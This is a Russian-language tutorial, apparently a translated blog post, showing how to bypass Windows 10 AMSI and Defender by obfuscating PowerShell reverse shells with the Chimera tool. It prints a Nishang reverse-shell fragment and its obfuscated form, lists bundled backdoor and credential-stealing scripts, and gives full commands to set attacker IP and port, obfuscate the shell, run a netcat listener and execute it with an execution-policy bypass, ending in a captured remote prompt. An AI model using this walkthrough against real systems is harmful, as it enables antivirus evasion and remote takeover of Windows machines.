Встроенное решение Microsoft для защиты от вредоносных программ делает все возможное для предотвращения распространенных атак. К сожалению, для пользователей Windows 10 уклонение от обнаружения не требует почти никаких усилий. Злоумышленник, вооруженный этими знаниями, легко обойдет защитное ПО с помощью любого количества инструментов.
Поскольку решение Microsoft для защиты от вредоносных программ является первой линией защиты Windows 10, оно является предметом множества отличных исследований в области безопасности. В этой статье будет представлено краткое введение в то, как злоумышленники могут полностью уклониться от нее.
Еще по теме:
AMSI — основа антивирусного ПО Windows
Основой антивирусного ПО Microsoft, представленного в Windows 10, является интерфейс сканирования на наличие вредоносных программ Windows или AMSI. Антивирусные приложения, включая Защитник Windows, могут вызывать свой набор API-интерфейсов, чтобы запросить сканирование на наличие вредоносного программного обеспечения, сценариев и другого содержимого. Чтобы вкратце описать это, давайте посмотрим на определение Microsoft:
Интерфейс сканирования на наличие вредоносных программ Windows (AMSI) — это универсальный стандарт интерфейса, который позволяет вашим приложениям и службам интегрироваться с любым продуктом защиты от вредоносных программ, установленным на машине. AMSI обеспечивает улучшенную защиту от вредоносных программ для ваших конечных пользователей и их данных, приложений и рабочих нагрузок.
На приведенном ниже снимке экрана злоумышленник загружает скрипт («shell.ps1»), содержащий гнусный код для немедленного установления соединения с удаленным сервером. При попытке выполнить сценарии PowerShell таким образом AMSI будет использовать обнаружение на основе сигнатур для выявления вредоносной активности.
Ниже приведено изображение того же сценария, который используется после некоторой обфускации. Windows 10 не имеет проблем с его запуском. Произвольное сообщение печатается в терминале, когда устанавливается соединение с сервером злоумышленника.
Как обойти антивирус с помощью Chimera
Chimera — это сценарий обфускации PowerShell, который я создал для обхода Microsoft AMSI, а также коммерческих антивирусных решений. Он переваривает вредоносные сценарии PowerShell, которые, как известно, запускают антивирусные программы, и использует простую подстановку строк и конкатенацию переменных для обхода обычных сигнатур обнаружения. Ниже приведен пример работы Химеры.
Ниже приведен фрагмент Invoke-PowerShellTcp.ps1, того же сценария «shell.ps1», который ранее запускал AMSI.
1 2 3 4 5 6 7 8 9 10 |
$stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) |
VirusTotal сообщает о 25 обнаружениях скрипта (показано ниже). Это неудивительно, поскольку Invoke-PowerShellTcp.ps1 невероятно популярен.
Вот тот же фрагмент, обработанный Chimera:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"() # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden. [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0} # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat. # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station. # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim. # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight. $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n") # Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer. $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth) # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued. |
VirusTotal сообщает об обнаружении обфусцированной версии.
Хотя я загрузил образец в VirusTotal, это очень плохая практика. Как указано в его Политике конфиденциальности:
Все партнеры получают Образцы, которые их антивирусные ядра не определили как потенциально опасные, если один и тот же Образец был обнаружен как вредоносный хотя бы одним антивирусным ядром другого партнера. Такой обмен информацией помогает исправить потенциальные уязвимости в отрасли безопасности.
Проще говоря, если только одно антивирусное ядро обнаруживает файл, созданный Chimera, файл распространяется более чем в 75 антивирусных компаний. Поэтому не загружайте файлы, созданные каким-либо инструментом обфускации, в VirusTotal. Вместо этого используйте локальную автономную виртуальную машину Windows 10 с установленными антивирусными решениями. Таким образом, если файл обнаружен, он не будет распространен среди всех крупных охранных компаний на планете.
Установка Chimera
Чтобы начать работу с Chimera, используйте следующую команду для обновления репозитория APT и установки необходимых зависимостей, необходимых Chimera для правильной работы.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
~$ sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git [sudo] password for user: Hit:1 http://kali.download/kali kali-rolling InRelease Reading package lists... Done Reading package lists... Done Building dependency tree Reading state information... Done coreutils is already the newest version (8.30-3+b1). curl is already the newest version (7.68.0-1+b1). curl set to manually installed. gawk is already the newest version (1:5.0.1+dfsg-1). gawk set to manually installed. grep is already the newest version (3.4-1). libc-bin is already the newest version (2.31-2). perl is already the newest version (5.30.3-4). sed is already the newest version (4.7-1). xxd is already the newest version (2:8.2.0716-3). The following additional packages will be installed: libjq1 (1.6-1) libonig5 (6.9.5-2) The following NEW packages will be installed: jq (1.6-1) libjq1 (1.6-1) libonig5 (6.9.5-2) 0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. Need to get 378 kB of archives. |
Затем клонируйте мой репозиторий Chimera с помощью команды git clone. Я помещаю его в свой каталог / opt / chimera, как показано ниже.
1 2 3 4 5 6 7 8 |
~$ sudo git clone https://github.com/tokyoneon/chimera /opt/chimera Cloning into '/opt/chimera'... remote: Enumerating objects: 16, done. remote: Counting objects: 100% (16/16), done. remote: Compressing objects: 100% (14/14), done. remote: Total 16 (delta 0), reused 16 (delta 0), pack-reused 0 Unpacking objects: 100% (16/16), 805.04 KiB | 1.79 MiB/s, done. |
Затем рекурсивно (-R) измените владельца каталога, чтобы файлы были доступны без прав root.
1 |
~$ sudo chown $USER:$USER -R /opt/chimera/ |
Теперь перейдите (cd) в новый каталог / opt / chimera.
1 |
~$ cd /opt/chimera/ |
И повысьте разрешения сценария chimera.sh, чтобы разрешить выполнение в Kali.
1 |
/opt/chimera$ sudo chmod +x chimera.sh |
Наконец, чтобы просмотреть доступные параметры, выполните Chimera с аргументом —help.
1 2 |
/opt/chimera$ ./chimera.sh --help |
Oбфускация PowerShell
В каталоге shells / есть несколько скриптов Nishang и несколько общих. Все проверено и работает. Однако неизвестно, как непроверенные скрипты будут воспроизводиться с помощью Chimera. Рекомендуется использовать только входящие в комплект оболочки.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
/opt/chimera$ ls -laR shells/ shells/: total 60 -rwxrwx--- 1 user user 1727 Aug 29 22:02 generic1.ps1 -rwxrwx--- 1 user user 1433 Aug 29 22:02 generic2.ps1 -rwxrwx--- 1 user user 734 Aug 29 22:02 generic3.ps1 -rwxrwx--- 1 user user 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1 -rwxrwx--- 1 user user 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1 -rwxrwx--- 1 user user 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1 -rwxrwx--- 1 user user 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1 -rwxrwx--- 1 user user 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1 drwxr-xr-x 2 user user 4096 Aug 30 18:53 misc -rwxrwx--- 1 user user 616 Aug 29 22:02 powershell_reverse_shell.ps1 shells/misc: total 36 -rwxrwx--- 1 user user 1757 Aug 12 19:53 Add-RegBackdoor.ps1 -rwxrwx--- 1 user user 3648 Aug 12 19:53 Get-Information.ps1 -rwxrwx--- 1 user user 672 Aug 12 19:53 Get-WLAN-Keys.ps1 -rwxrwx--- 1 user user 4430 Aug 28 23:31 Invoke-PortScan.ps1 -rwxrwx--- 1 user user 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1 |
Перед использованием сценариев измените жестко заданные IP-адреса (192.168.56.101) на свой адрес Kali. Чтобы узнать свой внутренний IP-адрес, используйте ip -c a и найдите адрес 192.168.X.X. Если вы не видите один из них, ваша система Kali, вероятно, настроена с использованием NAT. Вы захотите выключить виртуальную машину и использовать конфигурацию сети только для хоста.
1 |
/opt/chimera$ sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1 |
Порт по умолчанию для всех сценариев — 4444. Используйте sed еще раз, чтобы изменить их, если необходимо.
1 |
/opt/chimera$ sed -i 's/4444/<YOUR-DESIRED-PORT>/g' shells/*.ps1 |
Теперь используйте следующую команду, чтобы скрыть один из доступных скриптов с помощью Chimera.
1 2 3 4 5 6 7 8 9 10 11 12 |
/opt/chimera$ ./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -o /tmp/chimera.ps1 -g -v -t -j -i -c -h -s -b -e _____________________________________________________ ░░░░░░ ░░ ░░ ░░ ░░░ ░░░ ░░░░░░░ ░░░░░░ ░░░░░ ▒▒ ▒▒ ▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ▒▒ ▓▓ ▓▓▓▓▓▓▓ ▓▓ ▓▓ ▓▓▓▓ ▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ ██ _____________________________________________________ ░ by @tokyoneon_ |
В команде много чего происходит. Я кратко разберу каждый аргумент, но просмотрите руководство по использованию для более подробного объяснения и шпаргалку для примеров. Также не забудьте использовать —help для более широких описаний.
- -f: входной файл.
- -o: выходной файл.
- -g: исключить из сценария несколько специфичных для Nishang характеристик.
- -v: подставить имена переменных.
- -t: Заменить типы данных.
- -j: заменить имена функций.
- -i: вставлять произвольные комментарии в каждую строку.
- -c: Заменить комментарии произвольными данными.
- -h: преобразовать IP-адреса в шестнадцатеричный формат.
- -s: заменять различные строки.
- -b: обратные кавычки, где это возможно.
- -e: изучить обфусцированный файл по завершении процесса.
Обход антивируса
В новом терминале запустите прослушиватель Netcat для приема входящих соединений. Обязательно всегда используйте -v, поскольку некоторые сценарии не выводят приглашение оболочки при установке нового соединения.
1 2 3 |
~$ nc -v -l -p 4444 listening on [any] 4444 ... |
Переместите файл chimera.ps1 из Kali на локальный компьютер с Windows 10. Затем откройте терминал PowerShell и выполните файл с помощью следующей команды.
1 |
PS> powershell.exe -ep bypass C:\path\to\chimera.ps1 |
Вернувшись в Kali, терминал NC выдаст следующий результат — без претензий со стороны AMSI.
1 2 3 4 5 6 7 8 9 |
~$ nc -v -l -p 4444 listening on [any] 4444 ... 192.168.56.105: inverse host lookup failed: Host name lookup failure connect to [192.168.56.107] from (UNKNOWN) [192.168.56.105] 49725 Windows PowerShell running as user on Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Users\target> |
Заключение
Создание защитных средств безопасности — задача не из легких. Интерфейс сканирования на вредоносное ПО от Microsoft является прекрасным примером этого. Мотивированный злоумышленник всегда найдет способ ускользнуть от системы безопасности. В случае с Chimera он просто разбивает струны на множество частей и реконструирует их как переменные. Другие проекты, такие как Invoke-Obfuscation, доводят уклонение до уровня мастерства.
Еще по теме: Обфускация с помощью ProGuard